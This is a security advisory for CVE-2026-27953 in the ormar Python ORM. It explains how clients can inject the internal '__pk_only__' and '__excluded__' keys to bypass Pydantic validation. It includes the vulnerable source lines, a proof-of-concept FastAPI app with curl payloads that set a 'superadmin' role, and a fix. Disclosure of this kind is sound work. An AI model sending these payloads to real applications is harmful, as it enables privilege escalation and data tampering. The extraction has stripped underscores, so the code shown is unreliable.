PT-2026-26342 · Ormar Orm+1 · Ormar

Mistz1

·

Published

2026-03-19

·

Updated

2026-03-19

·

CVE-2026-27953

CVSS v3.1

7.1

High

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Summary

A Pydantic validation bypass in ormar's model constructor allows any unauthenticated user to skip all field validation — type checks, constraints, @field validator/@model validator decorators, choices enforcement, and required-field checks — by injecting " pk only ": true into a JSON request body. The unvalidated data is subsequently persisted to the database. This affects the canonical usage pattern recommended in ormar's official documentation and examples.
A secondary excluded parameter injection uses the same design pattern to selectively nullify arbitrary model fields during construction.

Details

Root cause: NewBaseModel. init (ormar/models/newbasemodel.py, line 128) pops pk only directly from user-supplied **kwargs before any validation occurs:
# ormar/models/newbasemodel.py, lines 128-142
pk only = kwargs.pop(" pk only ", False)   # ← extracted from user kwargs
object. setattr (self, " pk only ", pk only)

new kwargs, through tmp dict = self. process kwargs(kwargs)

if not pk only:
  # Normal path: full Pydantic validation
  new kwargs = self.serialize nested models json fields(new kwargs)
  self. pydantic validator .validate python(
    new kwargs, self instance=self
  )
else:
  # Bypass path: NO validation at all
  fields set = {self.ormar config.pkname}
  values = new kwargs
  object. setattr (self, " dict ", values)    # raw dict written directly
  object. setattr (self, " pydantic fields set ", fields set)
The pk only flag was designed as an internal optimization for creating lightweight FK placeholder instances in [ormar/fields/foreign key.py (lines 41, 527)](https://github.com/collerek/ormar/blob/master/ormar/fields/foreign key.py#L41). However, because it is extracted from **kwargs via .pop() with a False default, any external caller that passes user-controlled data to the model constructor can inject this flag.
Why the canonical FastAPI + ormar pattern is vulnerable:
Ormar's official example ([examples/fastapi quick start.py, lines 55-58](https://github.com/collerek/ormar/blob/master/examples/fastapi quick start.py#L55)) recommends using ormar models directly as FastAPI request body parameters:
@app.post("/items/", response model=Item)
async def create item(item: Item):
  await item.save()
  return item
FastAPI parses the JSON body and calls TypeAdapter.validate python(body dict), which triggers ormar's init. The pk only key is popped at line 128 before Pydantic's validator inspects the data, so Pydantic never sees it — even extra='forbid' would not prevent this, because the key is already consumed by ormar.
The ormar Pydantic model config (set in ormar/models/helpers/pydantic.py, line 108) does not set extra='forbid', providing no protection even in theory.
What is bypassed when pk only =True:
  • All type coercion and type checking (e.g., string for int field)
  • max length constraints on String fields
  • choices constraints
  • All @field validator and @model validator decorators
  • nullable=False enforcement at the Pydantic level
  • Required-field enforcement (only pkname is put in fields set)
  • serialize nested models json fields() preprocessing
Save path persists unvalidated data to the database:
After construction with pk only=True, calling .save() (ormar/models/model.py, lines 89-107) reads fields directly from self. dict via extract model db fields(), then executes table.insert().values(**self fields) — persisting the unvalidated data to the database with no re-validation.
Secondary vulnerability — excluded injection:
The same pattern applies to excluded at ormar/models/newbasemodel.py, line 292:
excluded: set[str] = kwargs.pop(" excluded ", set())
At lines 326-329, fields listed in excluded are silently set to None:
for field to nullify in excluded:
  new kwargs[field to nullify] = None
An attacker can inject " excluded ": ["email", "password hash"] to nullify arbitrary fields during construction.
Affected entry points:
Entry PointExploitable?
async def create item(item: Item) (FastAPI route)Yes
Model.objects.create(**user dict)Yes
Model(**user dict)Yes
Model.model validate(user dict)Yes

PoC

Step 1: Create a FastAPI + ormar application using the canonical pattern from ormar's docs:
# app.py
from contextlib import asynccontextmanager
import sqlalchemy
import uvicorn
from fastapi import FastAPI
import ormar

DATABASE URL = "sqlite+aiosqlite:///test.db"
ormar base config = ormar.OrmarConfig(
  database=ormar.DatabaseConnection(DATABASE URL),
  metadata=sqlalchemy.MetaData(),
)

@asynccontextmanager
async def lifespan(app: FastAPI):
  database = app.state.database
  if not database .is connected:
    await database .connect()
  # Create tables
  engine = sqlalchemy.create engine(DATABASE URL.replace("+aiosqlite", ""))
  ormar base config.metadata.create all(engine)
  engine.dispose()
  yield
  database = app.state.database
  if database .is connected:
    await database .disconnect()

app = FastAPI(lifespan=lifespan)
database = ormar.DatabaseConnection(DATABASE URL)
app.state.database = database

class User(ormar.Model):
  ormar config = ormar base config.copy(tablename="users")

  id: int = ormar.Integer(primary key=True)
  name: str = ormar.String(max length=50)
  email: str = ormar.String(max length=100)
  role: str = ormar.String(max length=20, default="user")
  balance: int = ormar.Integer(default=0)

# Canonical ormar pattern from official examples
@app.post("/users/", response model=User)
async def create user(user: User):
  await user.save()
  return user

if  name  == " main ":
  uvicorn.run(app, host="127.0.0.1", port=8000)
Step 2: Send a normal request (validation works correctly):
# This correctly rejects — "name" exceeds max length=50
curl -X POST http://127.0.0.1:8000/users/ 
 -H "Content-Type: application/json" 
 -d '{
  "name": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
  "email": "user@example.com"
 }'
# Returns: 422 Validation Error
Step 3: Inject pk only to bypass ALL validation:
curl -X POST http://127.0.0.1:8000/users/ 
 -H "Content-Type: application/json" 
 -d '{
  " pk only ": true,
  "name": "",
  "email": "not-an-email",
  "role": "superadmin",
  "balance": -99999
 }'
# Returns: 200 OK — all fields persisted to database WITHOUT validation
# - "name" is empty despite being required
# - "email" is not a valid email
# - "role" is "superadmin" (bypassing any validator that restricts to "user"/"admin")
# - "balance" is negative (bypassing any ge=0 constraint)
Step 4: Inject excluded to nullify arbitrary fields:
curl -X POST http://127.0.0.1:8000/users/ 
 -H "Content-Type: application/json" 
 -d '{
  " excluded ": ["email", "role"],
  "name": "attacker",
  "email": "will-be-nullified@example.com",
  "role": "will-be-nullified"
 }'
# Returns: 200 OK — email and role are set to NULL regardless of input

Impact

Who is impacted: Every application using ormar's canonical FastAPI integration pattern (async def endpoint(item: OrmarModel)) is vulnerable. This is the primary usage pattern documented in ormar's official examples and documentation.
Vulnerability type: Complete Pydantic validation bypass.
Impact scenarios:
  • Privilege escalation: If a model has a role or is admin field with a Pydantic validator restricting values to "user", an attacker can set role="superadmin" by bypassing the validator
  • Data integrity violation: Type constraints (max length, ge/le, regex patterns) are all bypassed — invalid data is persisted to the database
  • Business logic bypass: Custom @field validator and @model validator decorators (e.g., enforcing email format, age ranges, cross-field dependencies) are entirely skipped
  • Field nullification (via excluded): Audit fields, tracking fields, or required business fields can be selectively set to NULL
Suggested fix:
Replace kwargs.pop(" pk only ", False) with a keyword-only parameter that cannot be injected via **kwargs:
# Before (vulnerable)
def  init (self, *args: Any, **kwargs: Any) -> None:
  ...
  pk only = kwargs.pop(" pk only ", False)

# After (secure)
def  init (self, *args: Any, pk only: bool = False, **kwargs: Any) -> None:
  ...
  object. setattr (self, " pk only ", pk only)
Apply the same fix to excluded:
# Before (vulnerable)
excluded: set[str] = kwargs.pop(" excluded ", set())

# After (secure) — pass via keyword-only excluded parameter
def  init (self, *args: Any, pk only: bool = False, excluded: set | None = None, **kwargs: Any) -> None:
  ...
  # In process kwargs:
  excludes = excluded or set()
Internal callers in foreign key.py would pass pk only=True as a named argument. Keyword-only parameters prefixed with cannot be injected via JSON body deserialization or Model(**user dict) unpacking.

Fix

RCE

Weakness Enumeration

Related Identifiers

CVE-2026-27953
GHSA-F964-WHRQ-44H8

Affected Products

Ormar